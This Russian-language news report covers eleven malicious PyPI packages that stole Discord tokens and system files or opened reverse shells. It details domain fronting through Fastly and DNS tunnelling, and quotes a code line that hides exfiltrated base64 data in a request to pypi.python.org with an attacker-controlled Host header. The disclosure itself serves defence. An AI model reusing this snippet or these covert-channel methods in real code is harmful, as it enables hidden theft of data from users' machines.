В каталоге PyPI (Python Package Index) выявлено 11 пакетов, включающих вредоносный код. До выявления проблем в сумме пакеты успели загрузить около 38 тысяч раз. Выявленные вредоносные пакеты примечательны применением замысловатых способов скрытия каналов связи с серверами злоумышленников.
- importantpackage (6305 загрузок), important-package (12897) – устанавливали соединение с внешним сервером под видом подключения к pypi.python.org для предоставления shell-доступа к системе (reverse shell) и использовали для скрытия канала связи программу trevorc2.
- pptest (10001), ipboards (946) – использовали DNS в качестве канала связи для передачи сведений о системе (в первом пакете имя хоста, рабочий каталог, внутренний и внешний IP, в во втором – имя пользователя и хоста).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) – выявляли в системе токен сервиса Discord и отправляли на внешний хост.
- trrfab (287) – отправлял на внешний хост идентификатор, имя хоста и содержимое /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) – устанавливал обратное shell-соединение с внешним хостом.
- yandex-yt (4183) – выводил сообщение о компрометации системы и перенаправлял на страницу с дополнительной информацией о дальнейших действиях, выдаваемой через nda.ya.ru (api.ya.cc).
Отдельного внимания заслуживает метод обращения к внешним хостам, используемый в пакетах importantpackage и important-package, которые использовали для скрытия своей активности сеть доставки контента Fastly, применяемую в каталоге PyPI. Фактически запросы отправлялись на сервер pypi.python.org, но при этом в HTTP-заголовок “Host” выставлялось имя сервера, подконтрольного атакующим (sec.forward.io.global.prod.fastly.net). Сеть доставки контента направляла подобный запрос на сервер атакующих, используя при передаче данных параметры TLS-соединения с pypi.python.org.
Работа инфраструктуры PyPI обеспечивается с привлечением сети доставки контента Fastly, в которой для кэширования типовых запросов используется прозрачный прокси Varnish, а также применяется обработка TLS-сертификатов на уровне CDN, а не конечных серверов, для организации проброса HTTPS-запросов через прокси. Независимо от целевого хоста запросы направляются в прокси, который определяет нужный хост по HTTP-заголовку “Host”, а доменные имена хостов привязываются к типовым для всех клиентов Fastly IP-адресам балансировщиков нагрузки CDN.
Сервер атакующих также регистрируется в CDN Fastly, который предоставляет всем желающим бесплатные тарифные планы и даже допускает анонимную регистрацию. Примечательно, что для отправки запросов жертве при создании “reverse shell” используется также схема, но инициируемая со стороны хоста злоумышленников. Со стороны взаимодействие с сервером атакующих выглядит как легитимный сеанс с каталогом PyPI, шифруемый с использованием TLS-сертификата PyPI.
Для скрытия вредоносной активности дополнительно применялся пакет TrevorC2, позволяющий сделать взаимодействие с сервером похожим на обычную web-навигацию, например, вредоносные запросы отправлялись под видом загрузки изображения “https://pypi.python.org/images/guid=” с кодированием информации в параметре guid.
url = “https://pypi.python.org” + “/images” + “?” + “guid=” + b64_payload r = request.Request(url, headers = {‘Host’: “psec.forward.io.global.prod.fastly.net”})
В пакетах pptest и ipboards применялся другой подход для скрытия сетевой активности, основанный на кодировании полезной информации в запросах к DNS-серверу. Вредоносное ПО передаёт информацию, выполняя DNS-запросы вида “nu4timjagq4fimbuhe.example.com”, в которых при помощи формата base64 в имени поддомена закодированы передаваемые на управляющий сервер данные. Злоумышленник принимает данные сообщения, контролируя DNS-сервер для домена example.com.